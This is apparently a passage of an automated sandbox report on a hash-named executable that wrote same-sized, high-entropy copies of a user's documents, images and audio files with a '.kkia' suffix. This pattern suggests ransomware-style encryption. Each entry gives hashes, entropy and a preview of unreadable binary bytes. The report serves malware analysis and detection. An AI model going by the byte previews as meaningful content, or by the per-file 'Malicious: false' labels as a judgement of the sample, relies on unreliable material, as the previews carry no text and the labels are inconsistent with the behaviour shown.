Preview:	KLIZU".L!\|....1.h..0)g...\|........;...i)p.,h..R...G..o..\|.....T.z-.....lU!...)..N..sy......U.f ...Lm.. ..O..c...?.;....Y@.W{?...&j..2.mQ.A..#.0..0.....<..j.76.".Z....i.H...O...>Q..F..lK.......<><X.s?.....r......F.z...9Q~../&..rQ"....B.}.X.P........"..c..f...w...<;F..^5..T.&.2S.$..~#..%..C6.g.F.q..s..4l.W....)......`!U60.k.mY8....0..1C1.<./h.......A.Q..=[.;...\|..(.+rD.. ...\..\...n..!.[..v.\.]..9..8.'.F..~5.D{t.^)..H{....sC..527l.L.W..Y.{{...f.Ym0..d....2....`...2q....;.$`.#.....=..=..8o._7\|..b..V.\....p..z......H5V...`.B.#..e...}qy.z......^.Oe..M........A.l.x..8.U.^.[.Mprp..1.s.db.]. s......a..mJs+G&QH@.XnN..........mwo......+.Y.u:....).z.+X....^/.....;..[+....j.{@.K..g.v.[..W.X.....T. /..}.n\.....\...1...`H.u..U....0..3.a....&.{.z..uu'U8".....a..0...Y...{..]..+*.z..=.\|nv#w..c.k...nK........{...B..Bo#VX4.o..>......ur.^..... ......c..@.o."k......pn....y.....q4..:........sV{.&.......7..IrR%..L.7.U..{....P5.v.e...,F..../p.g:XLp.W../

C:\Users\user\Downloads\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834807189182129
Encrypted:	false
SSDEEP:	24:Ft/7koqkqSOb6SoBrhaIv7+vWGBCO1lTZL7pAEqWfNgDv0iaEyuEdv1/a6L0qz7q:Fptnzle3BCeltnpAEtfWv0iaEyuE5hpY
MD5:	B2E45AE3FBB70C1EACF5952A4B05A225
SHA1:	E4AD60502C3F20A7B26F8911DABACE36566BCDA8
SHA-256:	B94A450FA009AD360AAA453988A2DAB6D27D0975F5739F719567B9FEAB3EB40F
SHA-512:	D153DD7AF1D006A054A6BD4EBDADCB2CB0EAB8C1891775EF506513D90897D15708FEA0C47A65CBF2B4D79DCF76DF785DFC1D8BB18A705864184F682E7D774C1A
Malicious:	false
Preview:	NVWZA.$i..>3.}0".7.....B.Z_._...\|e....s.C...pi.o.z....Z....>.av.........&.M.I..+.u.D...IKz\@RI)[....Cl.....A...... +.i.X3d@....,`..!l<A.e.d.....1+...z.~...WU....n7q)0.L...E+_.k....._.....6...1.......6.../...iZ.P.;q........D_QzJD....^.C.+..-uIC.BtD..S]......u...(.8b..2.d..q....Q....C....(k..B..,B......+..0..o..`.#XF,zI....D".F.....#$.....)P.G......^..;.G.Q.h......2.F..Z.75c...O.2.Ut......l.QL.w7.tS;i-..E..WZv!......K...91.t..W..8.M..<N.Sx.5QU......O......k*.T....`..~.&.....y&.. w..f5P...N~....4.v8..`.'.).\f./......W..9w....#.9.(K...D....1...o._.a...`..B.<..r)..d..P.w....<......uAI...O..N..S....S.y....<Rm...1...E.....~.......{.7k.......7.<..v..k..,.E.....t...'.,1.O.3...<a.O.J.T0S...~$./..o....bO./..K.9...s.3..........7B...`.PA..P\AN~@)C..R].+.V.J.KN..$...z..v.r...p.)..plW.......A..jW4.aF}.M..0b...h!..a\|N?..)i..<0..pOwjI..E.>.....y......b\..E .)._d.{.)..b.6Dm..s.k.......w!>...k..G.:....U.B........I..E\M..`.l..B.X.O..R!..b..d..g....U

C:\Users\user\Downloads\NVWZAPQSQL.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834807189182129
Encrypted:	false
SSDEEP:	24:Ft/7koqkqSOb6SoBrhaIv7+vWGBCO1lTZL7pAEqWfNgDv0iaEyuEdv1/a6L0qz7q:Fptnzle3BCeltnpAEtfWv0iaEyuE5hpY
MD5:	B2E45AE3FBB70C1EACF5952A4B05A225
SHA1:	E4AD60502C3F20A7B26F8911DABACE36566BCDA8
SHA-256:	B94A450FA009AD360AAA453988A2DAB6D27D0975F5739F719567B9FEAB3EB40F
SHA-512:	D153DD7AF1D006A054A6BD4EBDADCB2CB0EAB8C1891775EF506513D90897D15708FEA0C47A65CBF2B4D79DCF76DF785DFC1D8BB18A705864184F682E7D774C1A
Malicious:	false
Preview:	NVWZA.$i..>3.}0".7.....B.Z_._...\|e....s.C...pi.o.z....Z....>.av.........&.M.I..+.u.D...IKz\@RI)[....Cl.....A...... +.i.X3d@....,`..!l<A.e.d.....1+...z.~...WU....n7q)0.L...E+_.k....._.....6...1.......6.../...iZ.P.;q........D_QzJD....^.C.+..-uIC.BtD..S]......u...(.8b..2.d..q....Q....C....(k..B..,B......+..0..o..`.#XF,zI....D".F.....#$.....)P.G......^..;.G.Q.h......2.F..Z.75c...O.2.Ut......l.QL.w7.tS;i-..E..WZv!......K...91.t..W..8.M..<N.Sx.5QU......O......k*.T....`..~.&.....y&.. w..f5P...N~....4.v8..`.'.).\f./......W..9w....#.9.(K...D....1...o._.a...`..B.<..r)..d..P.w....<......uAI...O..N..S....S.y....<Rm...1...E.....~.......{.7k.......7.<..v..k..,.E.....t...'.,1.O.3...<a.O.J.T0S...~$./..o....bO./..K.9...s.3..........7B...`.PA..P\AN~@)C..R].+.V.J.KN..$...z..v.r...p.)..plW.......A..jW4.aF}.M..0b...h!..a\|N?..)i..<0..pOwjI..E.>.....y......b\..E .)._d.{.)..b.6Dm..s.k.......w!>...k..G.:....U.B........I..E\M..`.l..B.X.O..R!..b..d..g....U

C:\Users\user\Downloads\NVWZAPQSQL.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867747778496826
Encrypted:	false
SSDEEP:	24:Fx4ry+ctHO80cjh4hE57sjrvzPoc2plBchnrSi5muo07hDvgY+603dGPD0o/+gCa:FVBLTg3bPofBcd8uoGcV34D0ngCyD
MD5:	4B176A711B518EFB56947B85E2AE0697
SHA1:	85A1B847EF982EC0AEFD98B250DD2529E170DC4D
SHA-256:	99EC6C1747FB51BEBF5C12B7AFA7484275B431CAE062B640EF372E7CA71C05B6
SHA-512:	099681DFAD40B2F58355F67AB7842638E9503C428702BDF574E1C50933994FFA95FAF97924D29FAD1AE55786A5B6A219C02F70F3FFF17E10CF4FDBA4B5E62160
Malicious:	false
Preview:	NVWZA$.h..!l.....>+..cNdZ.../E.._K5.......$....].>.....w...;...1..](U{).._.....Z.V+..b.k.exe...nY..I6.......8+Tsl..'......p.....]........GSbk.F...E^..e.;.:...?yP.B...e...>HsNR.3...y...O)'d......[.TU..[r.L.5.f]u......\..(./..]9$.h.../..Q.t!S.j..@H...I.Cz.}.[\..o].?^.}.=2.T.{ojo.._`.k......Q\|.P....X.$F......2.I......G...@q.....a..W....7.6m..5.3Km1........+.;.......t...!\|gs...b\|....,.y.`v.r...Q...i..K^.8.kBI.F.........u....r..3.5L..f......m..u.....o....z#./..X.O..MB/.."...d...E...YW-.@.......".jtb./.W.%9.u.a...=....P.8..~...X3..X..}.......ox..Xg.J.T{.E=.!..A....d....@...( v.......13Y.k/...y.@(...o...z....5..\..).....j......XGw.cY'....z..b]....F..q.m.q....7......]S.X}.#i?........?..J...1...UxZ#..L_......S.G."..%.=...?.in...Q..ht..Cc..,.......]I.j.'.07.....}..... .Q\|..AI)...k.........-../.~Eui...Oe .N.Sh..)......ohi..8..O.R.&.D...`..:.N.....A.V._....B/h....n.Z..x...@.....).Q6..+.....K..q...{.5h....d.c....-.<g...e.z.:...f..7I...

C:\Users\user\Downloads\NVWZAPQSQL.jpg.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867747778496826
Encrypted:	false
SSDEEP:	24:Fx4ry+ctHO80cjh4hE57sjrvzPoc2plBchnrSi5muo07hDvgY+603dGPD0o/+gCa:FVBLTg3bPofBcd8uoGcV34D0ngCyD
MD5:	4B176A711B518EFB56947B85E2AE0697
SHA1:	85A1B847EF982EC0AEFD98B250DD2529E170DC4D
SHA-256:	99EC6C1747FB51BEBF5C12B7AFA7484275B431CAE062B640EF372E7CA71C05B6
SHA-512:	099681DFAD40B2F58355F67AB7842638E9503C428702BDF574E1C50933994FFA95FAF97924D29FAD1AE55786A5B6A219C02F70F3FFF17E10CF4FDBA4B5E62160
Malicious:	false
Preview:	NVWZA$.h..!l.....>+..cNdZ.../E.._K5.......$....].>.....w...;...1..](U{).._.....Z.V+..b.k.exe...nY..I6.......8+Tsl..'......p.....]........GSbk.F...E^..e.;.:...?yP.B...e...>HsNR.3...y...O)'d......[.TU..[r.L.5.f]u......\..(./..]9$.h.../..Q.t!S.j..@H...I.Cz.}.[\..o].?^.}.=2.T.{ojo.._`.k......Q\|.P....X.$F......2.I......G...@q.....a..W....7.6m..5.3Km1........+.;.......t...!\|gs...b\|....,.y.`v.r...Q...i..K^.8.kBI.F.........u....r..3.5L..f......m..u.....o....z#./..X.O..MB/.."...d...E...YW-.@.......".jtb./.W.%9.u.a...=....P.8..~...X3..X..}.......ox..Xg.J.T{.E=.!..A....d....@...( v.......13Y.k/...y.@(...o...z....5..\..).....j......XGw.cY'....z..b]....F..q.m.q....7......]S.X}.#i?........?..J...1...UxZ#..L_......S.G."..%.=...?.in...Q..ht..Cc..,.......]I.j.'.07.....}..... .Q\|..AI)...k.........-../.~Eui...Oe .N.Sh..)......ohi..8..O.R.&.D...`..:.N.....A.V._....B/h....n.Z..x...@.....).Q6..+.....K..q...{.5h....d.c....-.<g...e.z.:...f..7I...

C:\Users\user\Downloads\NVWZAPQSQL.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.816539085682784
Encrypted:	false
SSDEEP:	24:F6ZhmRqpp3L9CnOHUEtD2yyGgvQQPkdgEZvj3H+jdKOc4LbtYdbmyEz2apFsZPiw:Fom8pxOOTD/NgvYg0j+jMxAw6ykpFsZ3
MD5:	73060E3F54FB25E0638BFEB3294D4564
SHA1:	DBD57977CAC7C860137949569209C2019B85993A
SHA-256:	C4460C56F22274E0333EEB0E905D1D9DC3BF4CCB98B54F13B55F2CA40CFF459D
SHA-512:	37A186B9AF2389B2E8C11385CCCA59A7835BACA464D6483228BFB12C3009E53D48B6ACE84F07622480CEA8026AA80720FC4D8726928A56105ABD8EEDAAA6EAAB
Malicious:	false
Preview:	NVWZA.GA.1....s..q..u..Al^.M.`...I..w..1.I.-.)...H;q0v...e.Ti..yP..W_...)}..q.f..G.Z..K.^...v.cz..\|...&B$K9.j$.w..:zJ.LL .2G4..<..Qb19..'.2..G MV%;...F....=..........E..../..h.Bg.k]...xMq....s...'R/.K........3-..g...Z7...3.T..^2...pA.....J....d....SR.B....a_.. ,.....T\X.~.i.(.....k"..=....,.b.?.j.~...<.7..N.]V...{...u;7?..E3.)N..}.D.u.I..<it.)...7....VN......3.p..I.jJ..V.....;c._m. ..{.P.{.......OX.dWu.#....p@.......#M^v.m.v+.zA....O.Q~.y....B.`;....hH.P9..=.UE....T.G.B>SM.Ai../.....%\p.;.>.:..]W.Qbb.?.t/...9.'lAW..3..Tvg..V[..~..f?."......{....K.B.E.64.X.3.Q.;O1..5D.T-...4]..f>x.F.!...F.L.g*..BT=.RQl...?.t...T.Ho.....\|...L..H........t......R.....C..b...Z..BT+7sjP.2. ......uxP.`.Zh~.M..~..........-.m.2......Kxw$'.<..J#c...(e...d...!..j.$X...7.......D}...u.z..s.;......in..!.a.;C.\|..z~^c.W.......oR$L......Nuc5..;.i.t.oEQZ..r>4.T4..,^D\....$;...H3...?..$.......Kd9.../6O...r.p....s..S.7Y..@..ag/.2..UC..i..-.w7^...q$6..%R6.@.....E....g...'...9w{

C:\Users\user\Downloads\NVWZAPQSQL.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.816539085682784
Encrypted:	false
SSDEEP:	24:F6ZhmRqpp3L9CnOHUEtD2yyGgvQQPkdgEZvj3H+jdKOc4LbtYdbmyEz2apFsZPiw:Fom8pxOOTD/NgvYg0j+jMxAw6ykpFsZ3
MD5:	73060E3F54FB25E0638BFEB3294D4564
SHA1:	DBD57977CAC7C860137949569209C2019B85993A
SHA-256:	C4460C56F22274E0333EEB0E905D1D9DC3BF4CCB98B54F13B55F2CA40CFF459D
SHA-512:	37A186B9AF2389B2E8C11385CCCA59A7835BACA464D6483228BFB12C3009E53D48B6ACE84F07622480CEA8026AA80720FC4D8726928A56105ABD8EEDAAA6EAAB
Malicious:	false
Preview:	NVWZA.GA.1....s..q..u..Al^.M.`...I..w..1.I.-.)...H;q0v...e.Ti..yP..W_...)}..q.f..G.Z..K.^...v.cz..\|...&B$K9.j$.w..:zJ.LL .2G4..<..Qb19..'.2..G MV%;...F....=..........E..../..h.Bg.k]...xMq....s...'R/.K........3-..g...Z7...3.T..^2...pA.....J....d....SR.B....a_.. ,.....T\X.~.i.(.....k"..=....,.b.?.j.~...<.7..N.]V...{...u;7?..E3.)N..}.D.u.I..<it.)...7....VN......3.p..I.jJ..V.....;c._m. ..{.P.{.......OX.dWu.#....p@.......#M^v.m.v+.zA....O.Q~.y....B.`;....hH.P9..=.UE....T.G.B>SM.Ai../.....%\p.;.>.:..]W.Qbb.?.t/...9.'lAW..3..Tvg..V[..~..f?."......{....K.B.E.64.X.3.Q.;O1..5D.T-...4]..f>x.F.!...F.L.g*..BT=.RQl...?.t...T.Ho.....\|...L..H........t......R.....C..b...Z..BT+7sjP.2. ......uxP.`.Zh~.M..~..........-.m.2......Kxw$'.<..J#c...(e...d...!..j.$X...7.......D}...u.z..s.;......in..!.a.;C.\|..z~^c.W.......oR$L......Nuc5..;.i.t.oEQZ..r>4.T4..,^D\....$;...H3...?..$.......Kd9.../6O...r.p....s..S.7Y..@..ag/.2..UC..i..-.w7^...q$6..%R6.@.....E....g...'...9w{

C:\Users\user\Downloads\PALRGUCVEH.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864748373818773
Encrypted:	false
SSDEEP:	24:kTbvhGlSnHyePq0b7+r7tKWAd1cWB10VfTZluqqGIYKvS3lFVkbD:abv4sHyx0Xa7IvvcWBkWqrPKvS1uD
MD5:	A7338CFA9DAAA65644DBB4001F256D40
SHA1:	B5766AAEF355343E10A1B9E7799D28632C3DAFCE
SHA-256:	C67D47899718A1B9D821053D6F8E17FC0053E4E4FB88F966A2E3B210B5EEC3A8
SHA-512:	104FB0A7CC2FBB57993B7BB28589278E995402A26DB32337168EAFCD70B6AA8E55D3DFC361DBC7A842D5B4478E61832C1CBE9B5D923937F30F0CC62E9E76DEE7
Malicious:	false
Preview:	PALRGT[m.j\|&@S.u.\|....`..a..Q....Z...$..TR..]b..Y.2gZM..'..._..#V...J......;..P...l.]q0s.5.........4Q~ l.d.c]@...+......l.&H......um j...Zw...7.E....l..{.3...c.Qq.BMR0Y.EL{u(8.-..VV.Df{jk..zk.\.hb.Jk...!..a..^.Ly+...B.8inG......P....et.$e$........5..h'.,..4..P..qzX....g...f..yD...D^..-.z........X.it._o......e[.....`..zE...L~.n..c^}..b....1...<.SG..K..] ..."......E.<."....l...}..sA...@.S^...0v..t./.....Z!.3..Z.n.<!>...?ep.\|..S.IoU....Ch....,......^p.@..:p\|6.&..<_iF......i......2.M.z.={..z....;..>p..u.-r.\...muH.}.I.....E2Q?...z+.D..e....c.l...G.F]l..e@.g.;>..)...gn....S...._..1.h.r.......^.....2..#y....(.)]t^..:5:.8.....G;.Ca..{:.e.PD...s..$p..R..D..+...NU.z.n.#.y...Jy...M.....Zt../N.......1.`.o.*...H.@.....PsS.+M.qi;.wO,..a..3 r.6Hy>...kNR`?....-#.m...3...._i2k9..s...R..]..%..s.K...+..B.ev.t\|.o..M..G..M@6...f$.2.<.a.s..T.....N=E5).$}b;.....:....P.v..o..4..g.MX}K.&...o.........m}..!.....\v.C.....u- K...<.y.....=1...,.d{u...P.8j......'.w..

C:\Users\user\Downloads\PALRGUCVEH.jpg.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864748373818773
Encrypted:	false
SSDEEP:	24:kTbvhGlSnHyePq0b7+r7tKWAd1cWB10VfTZluqqGIYKvS3lFVkbD:abv4sHyx0Xa7IvvcWBkWqrPKvS1uD
MD5:	A7338CFA9DAAA65644DBB4001F256D40
SHA1:	B5766AAEF355343E10A1B9E7799D28632C3DAFCE
SHA-256:	C67D47899718A1B9D821053D6F8E17FC0053E4E4FB88F966A2E3B210B5EEC3A8
SHA-512:	104FB0A7CC2FBB57993B7BB28589278E995402A26DB32337168EAFCD70B6AA8E55D3DFC361DBC7A842D5B4478E61832C1CBE9B5D923937F30F0CC62E9E76DEE7
Malicious:	false
Preview:	PALRGT[m.j\|&@S.u.\|....`..a..Q....Z...$..TR..]b..Y.2gZM..'..._..#V...J......;..P...l.]q0s.5.........4Q~ l.d.c]@...+......l.&H......um j...Zw...7.E....l..{.3...c.Qq.BMR0Y.EL{u(8.-..VV.Df{jk..zk.\.hb.Jk...!..a..^.Ly+...B.8inG......P....et.$e$........5..h'.,..4..P..qzX....g...f..yD...D^..-.z........X.it._o......e[.....`..zE...L~.n..c^}..b....1...<.SG..K..] ..."......E.<."....l...}..sA...@.S^...0v..t./.....Z!.3..Z.n.<!>...?ep.\|..S.IoU....Ch....,......^p.@..:p\|6.&..<_iF......i......2.M.z.={..z....;..>p..u.-r.\...muH.}.I.....E2Q?...z+.D..e....c.l...G.F]l..e@.g.;>..)...gn....S...._..1.h.r.......^.....2..#y....(.)]t^..:5:.8.....G;.Ca..{:.e.PD...s..$p..R..D..+...NU.z.n.#.y...Jy...M.....Zt../N.......1.`.o.*...H.@.....PsS.+M.qi;.wO,..a..3 r.6Hy>...kNR`?....-#.m...3...._i2k9..s...R..]..%..s.K...+..B.ev.t\|.o..M..G..M@6...f$.2.<.a.s..T.....N=E5).$}b;.....:....P.v..o..4..g.MX}K.&...o.........m}..!.....\v.C.....u- K...<.y.....=1...,.d{u...P.8j......'.w..

C:\Users\user\Downloads\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863142238938028
Encrypted:	false
SSDEEP:	24:iM32PmS34f+KmskgvjQlFqNGUT8r27AN6EyjS3TImIkYvk9zQxvsrNdUXNovjkbD:i2trWsVQ3qNGU3Y6EyjSDtlQxvsrsXNp
MD5:	ABF8C8196F2F4AA740749F8B040934C8
SHA1:	80D8DAEAAC529BC1CE4A1B47432C6541D3E5D2F2
SHA-256:	9188DC6C12D8FABF5DF2E7A58732F03A02B33B0C9A0EEAB2A98D8CB456117D6B
SHA-512:	BE1E611AD892E16158FA1228B08B6B0C920AE72978193FD386C0527D5D7D47CE95E482D4C0202634D82DEEA9312E253F64566C1134618DE12CAEA8B7F3F529E2
Malicious:	false
Preview:	PALRG.G..s.I.oyD......&T...L....o....>R..#f..IW.....K.&.+8Oa.b.R.i......u;D.)..7f'=......^'.............G.[.;.../...r}.)A...im(..V.Jv.W....S;.'\.......Q...H...W.L.5...oA7...t...$....#..I[...G.@(..2;^..)H...U.V.~.......P./...,.F.J.......8.....V4.E.j.(.3.]x..rN.G.....a[....4.,..z.W.IM.S..QjY..<.....4.LY.".......e....aH...U...A.o.'..H."...1lW\|......\|..H#..a...wG..v.....6..`...r..dZ.$..j....g.........cw...H."....=...G...........g..%.t.....`<.t.{....j.c........A\|=&...U.....(.t....4..rW./an...2Bk.{...![X..W...P.8..X..G.!.4,.u$..-._.[5....c).WP..,.U.....'.....s.ay...WJ..:....l....JM........\|.`.5y...o.\|..W.=......U.m..@'B.._.[..&?..i.......b/.+4...t...FB.+.C.../?.9o.....2.^...U.KA..Y.P..^7I.o...7...h...K....a......{y.$.....Ei+...*..8.ki....+......Z....w..a.B......x...it.).................4..e.....h8..M...:.?.S.:...R.....M.(...0}7.s..!8.Tm..+..5.m'.....a.0..x....t...n..tq.,p...6.]>e..!A1.#G~.x...-..HCwQ..........p.00=.KZ..a..-Aj..dz~.k..o

C:\Users\user\Downloads\PALRGUCVEH.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863142238938028
Encrypted:	false
SSDEEP:	24:iM32PmS34f+KmskgvjQlFqNGUT8r27AN6EyjS3TImIkYvk9zQxvsrNdUXNovjkbD:i2trWsVQ3qNGU3Y6EyjSDtlQxvsrsXNp
MD5:	ABF8C8196F2F4AA740749F8B040934C8
SHA1:	80D8DAEAAC529BC1CE4A1B47432C6541D3E5D2F2
SHA-256:	9188DC6C12D8FABF5DF2E7A58732F03A02B33B0C9A0EEAB2A98D8CB456117D6B
SHA-512:	BE1E611AD892E16158FA1228B08B6B0C920AE72978193FD386C0527D5D7D47CE95E482D4C0202634D82DEEA9312E253F64566C1134618DE12CAEA8B7F3F529E2
Malicious:	false
Preview:	PALRG.G..s.I.oyD......&T...L....o....>R..#f..IW.....K.&.+8Oa.b.R.i......u;D.)..7f'=......^'.............G.[.;.../...r}.)A...im(..V.Jv.W....S;.'\.......Q...H...W.L.5...oA7...t...$....#..I[...G.@(..2;^..)H...U.V.~.......P./...,.F.J.......8.....V4.E.j.(.3.]x..rN.G.....a[....4.,..z.W.IM.S..QjY..<.....4.LY.".......e....aH...U...A.o.'..H."...1lW\|......\|..H#..a...wG..v.....6..`...r..dZ.$..j....g.........cw...H."....=...G...........g..%.t.....`<.t.{....j.c........A\|=&...U.....(.t....4..rW./an...2Bk.{...![X..W...P.8..X..G.!.4,.u$..-._.[5....c).WP..,.U.....'.....s.ay...WJ..:....l....JM........\|.`.5y...o.\|..W.=......U.m..@'B.._.[..&?..i.......b/.+4...t...FB.+.C.../?.9o.....2.^...U.KA..Y.P..^7I.o...7...h...K....a......{y.$.....Ei+...*..8.ki....+......Z....w..a.B......x...it.).................4..e.....h8..M...:.?.S.:...R.....M.(...0}7.s..!8.Tm..+..5.m'.....a.0..x....t...n..tq.,p...6.]>e..!A1.#G~.x...-..HCwQ..........p.00=.KZ..a..-Aj..dz~.k..o

C:\Users\user\Downloads\QCOILOQIKC.mp3

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.822819282735148
Encrypted:	false
SSDEEP:	24:4/rQD4BecJ8WabD/aG8fpiBBDIYK+FY3oz4lSKhGYKfvzXXNkbD:4/rakb8ht8BiBBciMo0t8vDXcD
MD5:	D93591D7EFD90640D85BF23747584945
SHA1:	EEEA25F68BCC963EAF1C256E040689583C09E26F
SHA-256:	5A27F1A8F0674917ECFAAFAB7C1D6D322FB8346EC5B315715635D6478155A47C
SHA-512:	B13BB2F81627223B6ADB971F6731BFDD040AEAB8401295F8C31030165A086F21B08C4B1246A546ED5DF880E91F36F321ABD01D9EB9F2FC11801A7A88FFF0BC10
Malicious:	false
Preview:	QCOIL8+......M....e...+0.......W.+ufUH..-..O"(...T.,.T]......../)Hto..41..1..6.../..L.VQ.J..t..h....4w.....Q...3....3....<W..).I.....[.y.\.4A^@.N....sB.6..5....3...F...\|..................mtY0....;...$..............&QL......:9 .{{..C.bSp.aq... z.i.......h....R./.P...........,J..E..HG....C...U..z....ZMq.+.R....+.C@..\....u.:.F.[.....G-..d/5...9k.W..P.......3.M.b+.e..LQEG.c.JF.\w..w.........XK4.....-0J...T&..}...V..T...g ..(.gV......t.......rZ...y..o.gj.]$9..pd..\r...B.m.y......3.......T.Q.z.5.A...]..l.G}.;]...V.7s`].m.......2..A.8........5v..t...h\T,.2.1:ab..K3...o]..x..erw.6...q.*..c.k..c.l.BZ.$..qTFVa#.[...........TQ.D...5..~d.....hns.3.n..AD..&..+......l0...>c.<.i4..2....D..t.T.G..g..<.8...#.ByAZ.....ZX...wn.D.!`$AZ....A2U......\|q.>..H...#Vx.<_.^.<......q.._.E..oQ........!.".........=5'S..B..X.g+. ....^L...s.^.\|......6q]5Bx..A..s.E...t....ro.-.../R\|...Nt..3fKw.,.).._=].XB./.s. @-^?My..V6..9.\..f..e.Y.A.[.5Y#.....Vv..b.R.c

C:\Users\user\Downloads\QCOILOQIKC.mp3.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.822819282735148
Encrypted:	false
SSDEEP:	24:4/rQD4BecJ8WabD/aG8fpiBBDIYK+FY3oz4lSKhGYKfvzXXNkbD:4/rakb8ht8BiBBciMo0t8vDXcD
MD5:	D93591D7EFD90640D85BF23747584945
SHA1:	EEEA25F68BCC963EAF1C256E040689583C09E26F
SHA-256:	5A27F1A8F0674917ECFAAFAB7C1D6D322FB8346EC5B315715635D6478155A47C
SHA-512:	B13BB2F81627223B6ADB971F6731BFDD040AEAB8401295F8C31030165A086F21B08C4B1246A546ED5DF880E91F36F321ABD01D9EB9F2FC11801A7A88FFF0BC10
Malicious:	false
Preview:	QCOIL8+......M....e...+0.......W.+ufUH..-..O"(...T.,.T]......../)Hto..41..1..6.../..L.VQ.J..t..h....4w.....Q...3....3....<W..).I.....[.y.\.4A^@.N....sB.6..5....3...F...\|..................mtY0....;...$..............&QL......:9 .{{..C.bSp.aq... z.i.......h....R./.P...........,J..E..HG....C...U..z....ZMq.+.R....+.C@..\....u.:.F.[.....G-..d/5...9k.W..P.......3.M.b+.e..LQEG.c.JF.\w..w.........XK4.....-0J...T&..}...V..T...g ..(.gV......t.......rZ...y..o.gj.]$9..pd..\r...B.m.y......3.......T.Q.z.5.A...]..l.G}.;]...V.7s`].m.......2..A.8........5v..t...h\T,.2.1:ab..K3...o]..x..erw.6...q.*..c.k..c.l.BZ.$..qTFVa#.[...........TQ.D...5..~d.....hns.3.n..AD..&..+......l0...>c.<.i4..2....D..t.T.G..g..<.8...#.ByAZ.....ZX...wn.D.!`$AZ....A2U......\|q.>..H...#Vx.<_.^.<......q.._.E..oQ........!.".........=5'S..B..X.g+. ....^L...s.^.\|......6q]5Bx..A..s.E...t....ro.-.../R\|...Nt..3fKw.,.).._=].XB./.s. @-^?My..V6..9.\..f..e.Y.A.[.5Y#.....Vv..b.R.c

C:\Users\user\Downloads\SQSJKEBWDT.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840521312976269
Encrypted:	false
SSDEEP:	24:5JLDg+fQM92pn52ihMbDYrYvE80SFj9Byvaf3lKDdGRrnwj0wluUkbD:7fJ92p52iOnYrYvV0syvaMDdGREjnWD
MD5:	36C70DFFAD0D3E02B841B4E53BF0E9FF
SHA1:	FE7F9F695B80EABA4D4190EE064B14AEA7EDF0C8
SHA-256:	ECA4FFA309256427BDE8DE59E22DC823DE94DD70ABCF4EA5BCD14B0842136602
SHA-512:	B8D9413F6302FEC1202D1D63A487136E6D50A1ECD4C7ED11514A9B49827BDE2CD66364F3D9C13943993412446295B46E265763C591200E3D07C7BAC8AE6E07FE
Malicious:	false
Preview:	SQSJK.Fy. .T&.`.J......r* ..tx.{.....y/....W.t.v.Di..u`_..Z..p4o..L...W6 #.. VYQH..R&........7.2mVx..Z.....C.sb{..Q...A....80..X.$.~.S........i[8`..QE.5.o!.#G.$.C..j.\...`.bz..6......#..k4.U....s...\...94.Q..$I.......\..4,.j.=.v....G.........i.....{G..E..\|.7B..>.da..h...).\|.1...z.gQ>....Z.F..:%R.c...Y.]/...t...A....,..2..%...r:D.x)s2k.+f..B4..N6^..../......x.......P{T.m(.Mm.#...p.>cL.+..X..h7A.L.........a..!...A.b.nM....o:.>.Y.9.Z.L.Lrt.......3.=..0.f..%{.=l....PlsMg.%6........o..I.Mrq...W..^..J..9HT...D..j...U.{.E........G.....\|.>3D...!W.......Q..P.9.M..L....V....V...H..F....b.t..2l\.....7%M..LiM...<.\..2.q.....O .....p"8p....1...(8.<f.z.......7...N...:=....\&.j....cB...\|:O.X,.C..2..d..+..,`..B.9...I..?d .X)i/....Y.F....o~..Q.Z8s....q.........5??..Y.../l....HL....&Rx6..7...T.3.L.....A7(...v..?.[N...>....N..ZU..EP..E..^..nh....c.5&...G.<n.V/.....+,n.#..`I....n$..F.B.. ..?.I...Q...B..VY......+..6e{M..U...^B>....=..w..Z.H^.1Pl.6KJ0...

C:\Users\user\Downloads\SQSJKEBWDT.docx.kkia (copy)

Download File

